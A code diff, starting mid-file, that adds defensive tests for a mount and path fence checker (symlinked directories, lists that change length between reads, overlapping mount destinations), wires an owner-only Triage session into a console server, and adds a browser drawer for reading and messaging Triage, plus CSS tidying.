refused({ codeHolder: join(p.root, "elsewhere") }, "protected", "a holder that is not a protected path");
|
||||
// A run directory named through a link: a code root in its real path is refused before any check.
|
||||
const realRun = join(home, "run");
|
||||
mkdirSync(join(realRun, "code", "inst"), { recursive: true });
|
||||
writeFileSync(join(realRun, "code", "inst", "a.sh"), "x");
|
||||
symlinkSync(realRun, join(p.root, "runlink"));
|
||||
assert.throws(() => checkHostedRoute({ adapter: join(realRun, "code", "inst", "a.sh"), harnessMounts: [], installRoots: [join(realRun, "code", "inst")], protectedPaths: [p.dataRoot, home], codeRoot: join(realRun, "code"), codeHolder: home, runDir: join(p.root, "runlink") }), (e) => e.fence === "protected", "code root in the run dir's real path");
|
||||
});
|
||||
|
||||
test("a list that answers one length to the check and another later is read once", async (t) => {
|
||||
const p = await layout(t);
|
||||
const items = [];
|
||||
for (let i = 0; i <= HOSTED_MOUNTS_MAX; i++) { writeFileSync(join(p.install, `m${i}`), "x"); items.push({ src: join(p.install, `m${i}`), dest: `/opt/m${i}`, why: "w" }); }
|
||||
let reads = 0;
|
||||
const mounts = new Proxy(items, { get: (o, k) => (k === "length" ? (reads++ === 0 ? 1 : o.length) : o[k]) });
|
||||
assert.throws(() => checkHostedRoute({ adapter: p.adapter, harnessMounts: mounts, installRoots: p.installRoots, protectedPaths: p.protectedPaths, runDir: p.runDir }), (e) => e.fence === "mounts");
|
||||
// Install roots: two short answers pass the count, then a long one would add roots the count never saw.
|
||||
const roots = [];
|
||||
for (let i = 0; i <= 16; i++) { roots.push(join(p.root, `r${i}`)); mkdirSync(roots[i]); }
|
||||
writeFileSync(join(roots[16], "a.sh"), "x");
|
||||
let rootReads = 0;
|
||||
const rootList = new Proxy(roots, { get: (o, k) => (k === "length" ? (rootReads++ < 2 ? 1 : o.length) : o[k]) });
|
||||
assert.throws(() => checkHostedRoute({ adapter: join(roots[16], "a.sh"), harnessMounts: [], installRoots: rootList, protectedPaths: p.protectedPaths, runDir: p.runDir }), (e) => e.fence === "adapter");
|
||||
// Protected paths: the holder check sees HOME, then a shorter answer would leave HOME unguarded.
|
||||
const home = join(p.root, "home");
|
||||
mkdirSync(join(home, "code"), { recursive: true });
|
||||
writeFileSync(join(home, "f"), "x");
|
||||
let guardReads = 0;
|
||||
const guards = new Proxy([p.dataRoot, home], { get: (o, k) => (k === "length" ? (guardReads++ === 0 ? 2 : 1) : o[k]) });
|
||||
assert.throws(() => checkHostedRoute({ adapter: p.adapter, harnessMounts: [{ src: join(home, "f"), dest: "/opt/f", why: "w" }], installRoots: [p.install, home], protectedPaths: guards, codeRoot: join(home, "code"), codeHolder: home, runDir: p.runDir }), (e) => e.fence === "protected" || e.fence === "mount-src");
|
||||
});
|
||||
|
||||
test("each mount field is read once, and no mount's dest lies in or around another's", async (t) => {
|
||||
const p = await layout(t);
|
||||
const base = { runDir: p.runDir, healthDir: p.healthDir, adapter: p.adapter, relaySocket: p.relaySocket, installRoots: p.installRoots, protectedPaths: p.protectedPaths };
|
||||
writeFileSync(join(p.install, "m"), "x");
|
||||
writeFileSync(join(p.install, "n"), "x");
|
||||
let reads = 0;
|
||||
const list = hostedBinds({ ...base, harnessMounts: [{ src: join(p.install, "m"), why: "w", get dest() { return reads++ === 0 ? undefined : "/opt/../tmp"; } }] });
|
||||
assert.equal(reads, 1);
|
||||
assert.ok(list.some((b) => b.src === join(p.install, "m") && b.dest === undefined));
|
||||
assert.ok(!list.some((b) => b.dest === "/opt/../tmp"));
|
||||
for (const [a, b] of [["/opt/x", "/opt/x/f"], ["/opt/x/f", "/opt/x"], ["/opt/x", "/opt/x"]]) {
|
||||
assert.throws(() => hostedBinds({ ...base, harnessMounts: [{ src: join(p.install, "m"), dest: a, why: "w" }, { src: join(p.install, "n"), dest: b, why: "w" }] }), (e) => e.fence === "mount-dest", `${a} then ${b}`);
|
||||
}
|
||||
assert.equal(hostedBinds({ ...base, harnessMounts: [{ src: join(p.install, "m"), dest: "/opt/x", why: "w" }, { src: join(p.install, "n"), dest: "/opt/xy", why: "w" }] }).filter((b) => b.dest?.startsWith("/opt/")).length, 2);
|
||||
});
|
||||
@@ -34,6 +34,8 @@ import { isAbsolute, join } from 'node:path';
|
||||
import { actionTrail } from './action-trail.mjs';
|
||||
import { reviveBuses } from './bus-revive.mjs';
|
||||
import { createProxyAdmin, orgCatalogue } from './proxy-admin.mjs';
|
||||
import { createTriageHost } from './triage-host.mjs';
|
||||
import { composeSnapshot, readSystemConfig, readOrgConfig } from './triage-snapshot.mjs';
|
||||
import { busesStopped } from '../../cli/src/proxy-admin-host.mjs';
|
||||
import { agentLevelsWriteRoutes } from './agent-levels-write.mjs';
|
||||
import { RESTART_EXIT } from '../../cli/src/org-console.mjs';
|
||||
@@ -227,20 +229,40 @@ try {
|
||||
return out;
|
||||
},
|
||||
}) : null;
|
||||
// #1873 triage-host: the instance owner's Triage session, hosted by the Console in no organization.
|
||||
// Nothing starts here; the owner's first message starts it. No model route store exists without a
|
||||
// schema change, so none is wired: the read says no route is set and nothing launches.
|
||||
const triage = system && (devOwner || ssoOn) ? createTriageHost({
|
||||
dataRoot: system.dataRoot, route: null, devOwner: Boolean(devOwner), log: line => console.log(line),
|
||||
readSnapshot: () => composeSnapshot({
|
||||
orgs: () => listOrgs({ configDir: configDir(), dataRoot: system.dataRoot, instance }),
|
||||
busStatus: id => orgBusStatus({ configDir: configDir(), dataRoot: system.dataRoot, instance }, id),
|
||||
processing: async id => {
|
||||
const org = (await listOrgs({ configDir: configDir(), dataRoot: system.dataRoot, instance })).find(o => o.id === id);
|
||||
if (!org) return null;
|
||||
return busCaller({ dataRoot: org.root, socket: orgPaths(org.root).socket, business: id, timeoutMs: 5000 })('processing.status');
|
||||
},
|
||||
orgConfig: id => readOrgConfig(id),
|
||||
proxy: () => proxyAdmin.status(),
|
||||
systemConfig: () => readSystemConfig(),
|
||||
}),
|
||||
}) : null;
|
||||
let server, testerServer = null;
|
||||
// F3: the restart route closes every listener and connection, then exits RESTART_EXIT for the
|
||||
// supervisor to relaunch. Without --supervised the route answers not-supervised.
|
||||
const restart = supervised ? () => {
|
||||
sso?.close(); testerServer?.close();
|
||||
// The Triage session gets SIGTERM now and SIGKILL before the 2 s exit below.
|
||||
const triageStopped = triage ? triage.stop({ graceMs: 1500 }) : Promise.resolve();
|
||||
setTimeout(() => process.exit(RESTART_EXIT), 2000).unref();
|
||||
server.close(() => process.exit(RESTART_EXIT));
|
||||
server.close(() => triageStopped.finally(() => process.exit(RESTART_EXIT)));
|
||||
server.closeAllConnections();
|
||||
} : null;
|
||||
const trail = system ? actionTrail(join(system.dataRoot, 'console')) : null;
|
||||
// #1873 A2: Settings > Agents writes for the root and project levels, beside the levels read.
|
||||
const agentLevelRoutes = organizations ? [agentLevelsWriteRoutes({ configDir: configDir(), rolesDir: rolesDir(), trail })] : [];
|
||||
try {
|
||||
server = await startServer({ restart, trail, ...(lan ? { host: lan.bind, devAllowHosts: lan.allowHosts } : {}), board: options.board, port: options.port, bus, reads, preview: options.preview, sso, proof, send, settingsWrite, projectFiles, projectFile, libraryFile, libraryStatus, librarySync, libraryRevert, librarySave, projectSave, chat, nameWrite, assistantStop, instancesWrite, routesWrite, agentWrite, proxyCall, proxyAdmin, processing, decisionWrite, requestRead, requestWrite, userOptions, federation: system?.federation ?? null, organizations, agentLevels, routes: agentLevelRoutes, preselect: options.business ?? null });
|
||||
server = await startServer({ restart, trail, ...(lan ? { host: lan.bind, devAllowHosts: lan.allowHosts } : {}), board: options.board, port: options.port, bus, reads, preview: options.preview, sso, proof, send, settingsWrite, projectFiles, projectFile, libraryFile, libraryStatus, librarySync, libraryRevert, librarySave, projectSave, chat, nameWrite, assistantStop, instancesWrite, routesWrite, agentWrite, proxyCall, proxyAdmin, triage, processing, decisionWrite, requestRead, requestWrite, userOptions, federation: system?.federation ?? null, organizations, agentLevels, routes: agentLevelRoutes, preselect: options.business ?? null });
|
||||
} catch (err) { sso?.close(); throw err; }
|
||||
if (testerSocket) {
|
||||
const call = busCaller({ dataRoot: system.dataRoot, socket: socketPath(system.dataRoot), business: options.business ?? null, cli: TESTER_CLI });
|
||||
@@ -277,7 +299,7 @@ try {
|
||||
// D2 (P0-3): the dev Console reattaches to the buses that still run and brings back the ones its
|
||||
// unit stop killed. It runs after the Console answers, so a slow bus never delays the page.
|
||||
if (organizations && trail) reviveBuses({ ctx: { configDir: configDir(), dataRoot: system.dataRoot, instance }, listOrgs, busStatus: orgBusStatus, busRevive: orgBusRevive, trail, log: line => console.log(line) }).catch(() => console.log('bus revive: stopped on an unexpected error'));
|
||||
for (const signal of ['SIGINT', 'SIGTERM']) process.once(signal, () => { sso?.close(); server.close(); testerServer?.close(); });
|
||||
for (const signal of ['SIGINT', 'SIGTERM']) process.once(signal, () => { sso?.close(); server.close(); testerServer?.close(); triage?.stop(); });
|
||||
} catch (err) {
|
||||
console.error(`refused: ${err.message}`);
|
||||
process.exitCode = 2;
|
||||
|
||||
@@ -1949,6 +1949,8 @@
|
||||
if (k) restore(k);
|
||||
// Message on the Board (row 95) lands in the form it opened, addressed to the role.
|
||||
else if (focusSend && $('send-body')) { $('send-body').focus(); announce(`Message to ${draft.to}`); }
|
||||
// SP17: a step link on an organization's Workflows card lands in that step's title field.
|
||||
else if (navigated && window.MosaicWorkflows?.landed?.()) { /* landed() focused the field and said so */ }
|
||||
else if (navigated && h1) { const target=settingsFocusDisclosure&&path.startsWith('/settings/') ? $('settings-disclosure') : path.startsWith('/settings/') ? ($('settings-page-title')||h1) : h1; settingsFocusDisclosure=false; target.focus(); announce(target.textContent); }
|
||||
focusSend = false;
|
||||
window.MosaicWorkspace?.afterPaint?.();
|
||||
|
||||
@@ -1,4 +1,297 @@
|
||||
window.MosaicLocalTime = value => Number.isFinite(Date.parse(value)) ? new Date(value).toLocaleString() : 'unknown';
|
||||
// #1873 triage-drawer: the instance owner's Triage drawer, one system-level entry in the top bar.
|
||||
// It reads /api/config and /api/triage through the fetch this file starts with, before the
|
||||
// organization wrapper below replaces it, so both reads stay unscoped: Triage is in no organization.
|
||||
// The entry, the drawer and every Triage request exist only when that config says triage: true.
|
||||
// Every value from the read goes in as text, never as markup. The drawer reads only while open.
|
||||
(() => {
|
||||
const systemFetch = window.fetch.bind(window);
|
||||
const POLL_MS = 4000;
|
||||
// Control, format (direction, zero-width, soft hyphen, word joiner, tag), separator and default-ignorable
|
||||
// characters (fillers, variation selectors) never reach the page; newline and tab stay.
|
||||
const HIDDEN = /(?![\n\t])[\p{Cc}\p{Cf}\p{Zl}\p{Zp}\p{Default_Ignorable_Code_Point}]/gu;
|
||||
const clean = (value, max = 8000) => (typeof value === 'string' ? value : value === null || value === undefined ? '' : String(value)).replace(/\r\n?/g, '\n').replace(HIDDEN, '').slice(0, max);
|
||||
const when = value => window.MosaicLocalTime(clean(value, 64));
|
||||
const el = (tag, cls, text) => { const n = document.createElement(tag); if (cls) n.className = cls; if (text !== undefined) n.textContent = clean(text); return n; };
|
||||
const NO_ROUTE = 'No model route is set for Triage, so Triage will not start. The instance owner sets the route first.';
|
||||
let config = null, entry = null, drawer = null, parts = null, timer = null, gen = 0, sending = false, lastTranscript = '', lastHealth = '', shown = [];
|
||||
|
||||
const read = () => systemFetch('/api/config', { cache: 'no-store', redirect: 'manual' }).then(r => (r.ok ? r.json() : null)).catch(() => null);
|
||||
read().then(c => { if (c && c.triage === true) { config = c; addEntry(); } });
|
||||
|
||||
function addEntry() {
|
||||
const bar = document.querySelector('.cmd-right');
|
||||
if (!bar || document.getElementById('triage-open')) return;
|
||||
entry = el('button', 'header-action');
|
||||
entry.id = 'triage-open'; entry.type = 'button'; entry.title = 'Triage';
|
||||
entry.setAttribute('aria-label', 'Triage'); entry.setAttribute('aria-expanded', 'false'); entry.setAttribute('aria-controls', 'triage-drawer');
|
||||
const svg = document.createElementNS('http://www.w3.org/2000/svg', 'svg'), path = document.createElementNS('http://www.w3.org/2000/svg', 'path');
|
||||
svg.setAttribute('class', 'i'); svg.setAttribute('viewBox', '0 0 24 24'); svg.setAttribute('aria-hidden', 'true');
|
||||
path.setAttribute('d', 'M3 12h4l3-8 4 16 3-8h4');
|
||||
svg.append(path); entry.append(svg, el('span', '', 'Triage'));
|
||||
entry.addEventListener('click', () => (drawer && !drawer.hidden ? close() : open()));
|
||||
bar.insertBefore(entry, document.getElementById('refresh') ?? bar.firstChild);
|
||||
}
|
||||
|
||||
function build() {
|
||||
drawer = el('aside', 'ws-drawer triage-drawer');
|
||||
drawer.id = 'triage-drawer';
|
||||
drawer.setAttribute('aria-labelledby', 'triage-title');
|
||||
const hd = el('div', 'hd'), title = el('h2', '', 'Triage'), x = el('button', 'x', '×');
|
||||
title.id = 'triage-title'; title.tabIndex = -1;
|
||||
x.type = 'button'; x.setAttribute('aria-label', 'Close Triage');
|
||||
x.addEventListener('click', close);
|
||||
hd.append(title, x);
|
||||
const state = el('p', 'triage-state'); state.id = 'triage-state'; state.setAttribute('role', 'status');
|
||||
const healthSec = el('details', 'triage-health-sec'); healthSec.open = true;
|
||||
const healthSum = el('summary', '', 'Health');
|
||||
const health = el('ul', 'triage-health'); health.id = 'triage-health';
|
||||
healthSec.append(healthSum, health);
|
||||
const convo = el('h3', 'triage-convo-title', 'Conversation');
|
||||
const transcript = el('ol', 'triage-transcript'); transcript.id = 'triage-transcript'; transcript.tabIndex = 0;
|
||||
transcript.setAttribute('aria-label', 'Triage conversation');
|
||||
const compose = el('div', 'triage-compose');
|
||||
drawer.append(hd, state, healthSec, convo, transcript, compose);
|
||||
drawer.addEventListener('keydown', e => { if (e.key === 'Escape') { e.preventDefault(); close(); } });
|
||||
document.body.append(drawer);
|
||||
parts = { title, state, health, transcript, compose, box: null, send: null, status: null, off: null };
|
||||
}
|
||||
|
||||
// The message box is built once and never rewritten or removed by a read, so a draft survives every
|
||||
// poll. A read that turns sending off hides the box; one that turns it on again shows it.
|
||||
function composer(view) {
|
||||
const c = parts.compose;
|
||||
const canSend = config.triageSend === true && view.send === true;
|
||||
const READ_ONLY = 'This Console is read-only, so messages cannot be sent from here.';
|
||||
if (!canSend && !parts.box) {
|
||||
if (!parts.off || !parts.off.isConnected) { parts.off = el('p', 'note triage-send-off'); parts.off.id = 'triage-send-off'; c.append(parts.off); }
|
||||
parts.off.textContent = READ_ONLY;
|
||||
return;
|
||||
}
|
||||
if (!parts.box) {
|
||||
c.replaceChildren();
|
||||
const label = el('label', 'triage-label', 'Message to Triage');
|
||||
label.htmlFor = 'triage-text';
|
||||
const box = el('textarea', 'triage-text'); box.id = 'triage-text'; box.rows = 3; box.maxLength = 8000;
|
||||
box.setAttribute('aria-describedby', 'triage-send-off triage-send-status');
|
||||
box.addEventListener('keydown', e => { if (e.key === 'Enter' && (e.ctrlKey || e.metaKey)) { e.preventDefault(); submit(); } });
|
||||
const row = el('div', 'triage-send-row');
|
||||
const send = el('button', 'ws-btn primary triage-send', 'Send'); send.id = 'triage-send'; send.type = 'button';
|
||||
send.addEventListener('click', submit);
|
||||
const hint = el('span', 'triage-hint', 'Ctrl+Enter sends');
|
||||
row.append(send, hint);
|
||||
const off = el('p', 'note triage-send-off'); off.id = 'triage-send-off';
|
||||
const status = el('p', 'triage-send-status'); status.id = 'triage-send-status'; status.setAttribute('role', 'status');
|
||||
c.append(label, box, off, row, status);
|
||||
Object.assign(parts, { label, box, send, status, off, row });
|
||||
}
|
||||
for (const n of [parts.label, parts.box, parts.row]) n.hidden = !canSend;
|
||||
if (!canSend) { parts.off.textContent = READ_ONLY; parts.box.disabled = parts.send.disabled = true; return; }
|
||||
// A route that is not set, or a session over its cap, turns the box off and says why.
|
||||
const until = typeof view.overCapUntil === 'string' && view.overCapUntil ? view.overCapUntil : null;
|
||||
const reason = view.route !== 'set' ? 'Sending is off: no model route is set for Triage.'
|
||||
: until ? `Sending is off: Triage is over its daily token cap until ${when(until)}.` : '';
|
||||
parts.off.textContent = reason;
|
||||
parts.box.disabled = !!reason;
|
||||
parts.send.disabled = !!reason || sending;
|
||||
}
|
||||
|
||||
const stateLine = view => {
|
||||
if (view.route !== 'set') return clean(view.routeMessage) || NO_ROUTE;
|
||||
if (view.overCapUntil) return clean(view.capMessage) ? `${clean(view.capMessage)} Local time: ${when(view.overCapUntil)}.` : `Triage is over its daily token cap. It takes messages again at ${when(view.overCapUntil)}.`;
|
||||
if (view.running === true) return 'Running.';
|
||||
const x = view.lastExit;
|
||||
if (x && typeof x === 'object') {
|
||||
const how = [x.code !== null && x.code !== undefined ? `code ${clean(x.code)}` : '', x.signal ? `signal ${clean(x.signal)}` : ''].filter(Boolean).join(', ') || 'no code';
|
||||
return `Not running. Last exit: ${how} at ${when(x.at)}.`;
|
||||
}
|
||||
return 'Not running. No run has ended yet.';
|
||||
};
|
||||
|
||||
const notRead = v => v === 'not read' || v === null || v === undefined || typeof v !== 'object';
|
||||
const configWords = c => (notRead(c) ? 'not read' : c.valid === true ? 'valid' : `not valid${c.code ? ` (${clean(c.code)})` : ''}`);
|
||||
function healthLines(s) {
|
||||
if (notRead(s)) return ['Health: not read'];
|
||||
const lines = [];
|
||||
lines.push(notRead(s.console) ? 'Console: not read' : `Console: ${clean(s.console.state) || 'not read'}, ${when(s.console.at)}`);
|
||||
if (notRead(s.proxy)) lines.push('Proxy: not read');
|
||||
else {
|
||||
const p = s.proxy;
|
||||
const words = [p.healthy === true ? 'healthy' : p.healthy === false ? 'not healthy' : 'health not read'];
|
||||
if (p.initialized === false) words.push('not set up');
|
||||
if (p.installed === false) words.push('not installed');
|
||||
if (typeof p.active === 'string' && p.active) words.push(`unit ${clean(p.active)}`);
|
||||
if (p.fence === true) words.push('fence set');
|
||||
lines.push(`Proxy: ${words.join(', ')}`);
|
||||
}
|
||||
lines.push(`System config: ${configWords(s.systemConfig)}`);
|
||||
const orgs = s.organizations;
|
||||
if (notRead(orgs) || !Array.isArray(orgs.list)) lines.push('Organizations: not read');
|
||||
else if (!orgs.list.length) lines.push('Organizations: none');
|
||||
else for (const o of orgs.list) {
|
||||
if (!o || typeof o !== 'object') continue;
|
||||
const bus = notRead(o.bus) ? 'bus not read' : `bus ${clean(o.bus.state) || 'not read'}${o.bus.lastStart && o.bus.lastStart.ok === false ? `, last start failed ${when(o.bus.lastStart.at)}` : ''}`;
|
||||
const proc = notRead(o.processing) ? 'processing not read' : o.processing.invalid === true ? 'processing state not valid' : o.processing.halted === true ? 'processing stopped' : 'processing on';
|
||||
lines.push(`${clean(o.id) || 'unnamed'}: ${bus}, ${proc}, config ${configWords(o.config)}`);
|
||||
}
|
||||
return lines;
|
||||
}
|
||||
|
||||
const WHO = { owner: 'You', triage: 'Triage', host: 'Console' };
|
||||
function entryNode(m, owners) {
|
||||
const from = Object.hasOwn(WHO, m.from) ? m.from : 'other';
|
||||
const li = el('li', `triage-msg from-${from}`);
|
||||
li.dataset.from = from;
|
||||
const head = el('div', 'triage-msg-head');
|
||||
head.append(el('strong', '', WHO[from] ?? 'Unknown sender'), el('span', 'triage-when', when(m.at)));
|
||||
li.append(head);
|
||||
if (m.in_reply_to && (from === 'triage' || from === 'host')) {
|
||||
const asked = owners.get(m.in_reply_to);
|
||||
li.append(el('p', 'triage-reply', asked !== undefined ? `Reply to: ${asked.length > 120 ? `${asked.slice(0, 119)}…` : asked}` : 'Reply to an earlier message'));
|
||||
}
|
||||
li.append(el('p', 'triage-text-body', m.text));
|
||||
if (from === 'triage') {
|
||||
const cards = Array.isArray(m.cards) ? m.cards.filter(c => c && typeof c === 'object') : [];
|
||||
if (cards.length) {
|
||||
const list = el('ul', 'triage-cards');
|
||||
list.setAttribute('aria-label', 'Suggested commands');
|
||||
for (const c of cards) {
|
||||
const card = el('li', 'triage-card');
|
||||
card.append(el('span', 'triage-card-meta', `Step: ${clean(c.step)} · Organization: ${clean(c.org)}`), el('code', 'triage-card-cmd', c.command));
|
||||
list.append(card);
|
||||
}
|
||||
li.append(list);
|
||||
}
|
||||
const dropped = Number.isSafeInteger(m.dropped) && m.dropped > 0 ? m.dropped : 0;
|
||||
if (dropped) li.append(el('p', 'triage-dropped', `${dropped} ${dropped === 1 ? 'card' : 'cards'} dropped: not a known step or organization.`));
|
||||
}
|
||||
return li;
|
||||
}
|
||||
|
||||
function render(view) {
|
||||
// Where the reader is, measured before anything above the conversation changes its height.
|
||||
const t = parts.transcript, atBottom = t.scrollHeight - t.scrollTop - t.clientHeight < 24, top = t.scrollTop;
|
||||
parts.state.textContent = stateLine(view);
|
||||
parts.state.dataset.kind = view.route !== 'set' ? 'off' : view.overCapUntil ? 'cap' : view.running === true ? 'running' : 'stopped';
|
||||
const lines = healthLines(view.snapshot);
|
||||
const healthKey = JSON.stringify(lines);
|
||||
if (healthKey !== lastHealth) { lastHealth = healthKey; parts.health.replaceChildren(...lines.map(l => el('li', l.endsWith('not read') ? 'not-read' : '', l))); }
|
||||
// The box first: it sets the conversation's height, which the scroll position below depends on.
|
||||
composer(view);
|
||||
const list = Array.isArray(view.transcript) ? view.transcript.filter(m => m && typeof m === 'object') : [];
|
||||
const key = JSON.stringify(list);
|
||||
if (key !== lastTranscript) {
|
||||
const first = lastTranscript === '';
|
||||
// The host keeps the newest 200 lines, so a new line can drop old ones from the top. A reader who
|
||||
// has scrolled up keeps the line they are reading at the same place, not the same scroll number.
|
||||
const edge = () => t.getBoundingClientRect().top;
|
||||
let anchor = null;
|
||||
if (!first && !atBottom) {
|
||||
const i = [...t.children].findIndex(n => n.getBoundingClientRect().bottom > edge() + 1);
|
||||
if (i >= 0 && shown[i] !== undefined) anchor = { i, key: shown[i], off: t.children[i].getBoundingClientRect().top - edge() };
|
||||
}
|
||||
lastTranscript = key;
|
||||
const owners = new Map(list.filter(m => m.from === 'owner' && typeof m.id === 'string').map(m => [m.id, clean(m.text)]));
|
||||
if (list.length) t.replaceChildren(...list.map(m => entryNode(m, owners)));
|
||||
else t.replaceChildren(el('li', 'triage-empty', 'No messages yet.'));
|
||||
const next = list.map(m => JSON.stringify(m));
|
||||
// Lines only drop from the top and add at the bottom, so the anchor moves up by the number dropped.
|
||||
// That finds the right one of two identical lines; anything else falls back to the first match.
|
||||
const fits = d => shown.length - d <= next.length && shown.slice(d).every((k, n) => next[n] === k);
|
||||
let j = -1;
|
||||
if (anchor) { let d = 0; while (d <= anchor.i && !fits(d)) d += 1; j = d <= anchor.i ? anchor.i - d : next.indexOf(anchor.key); }
|
||||
shown = next;
|
||||
if (first || atBottom) t.scrollTop = t.scrollHeight;
|
||||
else {
|
||||
t.scrollTop = top;
|
||||
if (j >= 0) t.scrollTop += t.children[j].getBoundingClientRect().top - edge() - anchor.off;
|
||||
else if (anchor) t.scrollTop = 0;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Only the newest read renders and schedules the next one, so a send's read and the timer's never
|
||||
// run two chains at once, and an answer that lands after close is dropped.
|
||||
async function poll() {
|
||||
const mine = ++gen;
|
||||
clearTimeout(timer);
|
||||
let view = null, failed = null;
|
||||
try {
|
||||
const r = await systemFetch('/api/triage', { cache: 'no-store', redirect: 'manual' });
|
||||
if (r.ok) view = await r.json(); else failed = r.status;
|
||||
} catch { failed = 'no answer'; }
|
||||
if (mine !== gen || !drawer || drawer.hidden) return;
|
||||
if (view && typeof view === 'object') render(view);
|
||||
else { parts.state.textContent = `Triage could not be read (${failed}). The drawer tries again shortly.`; parts.state.dataset.kind = 'error'; }
|
||||
timer = setTimeout(poll, POLL_MS);
|
||||
}
|
||||
|
||||
function open() {
|
||||
if (!drawer) build();
|
||||
drawer.hidden = false;
|
||||
entry.setAttribute('aria-expanded', 'true');
|
||||
if (!parts.state.dataset.kind) { parts.state.textContent = 'Reading Triage.'; parts.state.dataset.kind = 'reading'; }
|
||||
poll().then(() => { if (!drawer.hidden && !drawer.contains(document.activeElement)) (parts.box && !parts.box.disabled ? parts.box : parts.title).focus(); });
|
||||
}
|
||||
|
||||
function close() {
|
||||
if (!drawer || drawer.hidden) return;
|
||||
gen += 1;
|
||||
clearTimeout(timer); timer = null;
|
||||
drawer.hidden = true;
|
||||
entry.setAttribute('aria-expanded', 'false');
|
||||
entry.focus();
|
||||
}
|
||||
|
||||
// Plain words for each answer. A refused send keeps the draft; an unknown outcome is never resent.
|
||||
function answer(status, body) {
|
||||
const code = body && typeof body.error === 'string' ? body.error : '';
|
||||
if (status === 202) return { sent: true, text: 'Sent. Triage answers in the conversation above.' };
|
||||
// These come after the host wrote the message, with its "did not start" line under it.
|
||||
if (code === 'triage-route-invalid' || code === 'triage-start-failed') return { text: `Not delivered: ${code === 'triage-start-failed' ? 'the Triage session did not start' : 'Triage did not start because the model route\'s answer is not usable'}. The message is in the conversation with the Console's note; it was not sent again.` };
|
||||
// This one can come before or after the message is written.
|
||||
if (code === 'triage-dir-unsafe') return { text: 'Not delivered: a Triage directory is not safe to use. It was not sent again: check the conversation before you send it again.' };
|
||||
if (status === 409) return { text: code === 'triage-no-route' ? 'Not sent: no model route is set for Triage. The instance owner sets the route first.' : code === 'triage-route-refused' ? 'Not sent: the model route refused to start Triage.' : 'Not sent: the model route\'s answer is not usable.' };
|
||||
if (status === 429) {
|
||||
if (code === 'triage-over-cap') {
|
||||
const until = typeof body.until === 'string' ? clean(body.until) : '';
|
||||
return { text: until ? `Not sent: Triage is over its daily token cap. It takes messages again at ${when(until)} (${until}).` : 'Not sent: Triage is over its daily token cap.' };
|
||||
}
|
||||
return { text: 'Not sent: Triage has too many messages waiting. Try again in a moment.' };
|
||||
}
|
||||
if (status === 400) return { text: code === 'triage-message-empty' ? 'Not sent: the message is empty.' : code === 'triage-message-too-long' ? 'Not sent: the message is too long.' : 'Not sent: the Console did not accept this as a Triage message.' };
|
||||
if (status === 403) return { text: code === 'read-only' ? 'Not sent: this Console is read-only.' : 'Not sent: the Console refused a request that did not come from this page.' };
|
||||
if (status === 503 && code === 'outcome-unknown') return { unknown: true, text: 'Triage did not answer. The message may or may not have arrived. It was not sent again: check the conversation before you send it again.' };
|
||||
if (status === 503) return { text: `Not sent: ${clean(body && body.message) || 'Triage could not take the message'}.` };
|
||||
if (status === 401 || status === 404) return { text: 'Not sent: this page can no longer reach Triage. Reload the page.' };
|
||||
return { text: `Not sent: the Console answered ${status}.` };
|
||||
}
|
||||
|
||||
async function submit() {
|
||||
if (sending || !parts.box || parts.box.disabled) return;
|
||||
const text = parts.box.value;
|
||||
if (!text.trim()) { parts.status.textContent = 'Not sent: the message is empty.'; return; }
|
||||
sending = true; parts.send.disabled = true; parts.status.textContent = 'Sending…';
|
||||
let result;
|
||||
try {
|
||||
const r = await systemFetch('/api/triage/message', { method: 'POST', headers: { 'content-type': 'application/json' }, body: JSON.stringify({ text }), cache: 'no-store', redirect: 'manual' });
|
||||
result = answer(r.status, await r.json().catch(() => null));
|
||||
} catch {
|
||||
result = { unknown: true, text: 'The Console did not answer. The message may or may not have arrived. It was not sent again: check the conversation before you send it again.' };
|
||||
}
|
||||
sending = false;
|
||||
if (!parts.box) return;
|
||||
// The status line can grow the composer; a reader at the bottom of the transcript stays there.
|
||||
const t = parts.transcript, atBottom = t.scrollHeight - t.scrollTop - t.clientHeight < 24;
|
||||
parts.status.textContent = result.text;
|
||||
parts.status.dataset.kind = result.sent ? 'ok' : result.unknown ? 'unknown' : 'refused';
|
||||
// Only a 202 clears the box, and only when the reader has not typed more since.
|
||||
if (result.sent && parts.box.value === text) parts.box.value = '';
|
||||
parts.send.disabled = parts.box.disabled;
|
||||
if (atBottom) t.scrollTop = t.scrollHeight;
|
||||
if (drawer && !drawer.hidden) poll();
|
||||
}
|
||||
})();
|
||||
// #1873 SP1: one shell for the whole system. `#/dashboard` is the system landing route and
|
||||
// `#/orgs/<id>/...` is a route inside the same page, not a mode: opening another organization
|
||||
// changes the scope of later /api reads and fires `mosaic-org-switch`. Nothing reloads.
|
||||
|
||||
@@ -1,22 +1,19 @@
|
||||
[data-packs],[data-workflows]{margin-top:16px}
|
||||
:is(.pack-list,.pack-hires,.wf-list){list-style:none;margin:8px 0;padding:0}
|
||||
:is(.pack-row,.pack-hire,.wf-item){border-top:1px solid var(--border);padding:12px 0;overflow-wrap:anywhere}
|
||||
.pack-list,.pack-hires{list-style:none;margin:8px 0;padding:0}
|
||||
.pack-row,.pack-hire{border-top:1px solid var(--border);padding:12px 0;overflow-wrap:anywhere}
|
||||
.pack-preview{border:1px solid var(--border);border-radius:var(--r);padding:12px;margin:12px 0;overflow-wrap:anywhere}
|
||||
.pack-preview .ws-tbl{overflow-x:auto}
|
||||
/* E2E6 P2-3: the preview's overflow-wrap:anywhere let the table squeeze words ("Workfl ow"). Cells wrap
|
||||
at word breaks; only a path, which has none, may break anywhere. */
|
||||
.pack-preview .ws-tbl :is(td,th){overflow-wrap:normal;word-break:normal}
|
||||
.pack-preview .ws-tbl td code{overflow-wrap:anywhere}
|
||||
.pack-nohire,.wf-missing,.wf-note{color:var(--danger)}
|
||||
.pack-nohire,.wf-missing{color:var(--danger)}
|
||||
.wf-missing{font-size:.9em}
|
||||
.wf-steps{margin:6px 0;padding-left:22px}.wf-steps li{margin:4px 0}
|
||||
.wf-editor{display:grid;gap:12px;margin:12px 0}
|
||||
.wf-step{border:1px solid var(--border);border-radius:var(--r);padding:12px;display:grid;gap:10px;min-width:0}
|
||||
:is(.wf-editor,[data-packs]) label{display:flex;flex-direction:column;gap:6px;min-width:0}
|
||||
:is(.wf-editor,[data-packs]) :is(select,input,textarea){width:100%;box-sizing:border-box;min-height:44px;padding:8px 12px;border:1px solid var(--border);border-radius:var(--r);background:var(--canvas);color:var(--text);font:inherit}
|
||||
:is([data-packs],[data-workflows]) .btn{min-height:44px;margin:4px 8px 4px 0}
|
||||
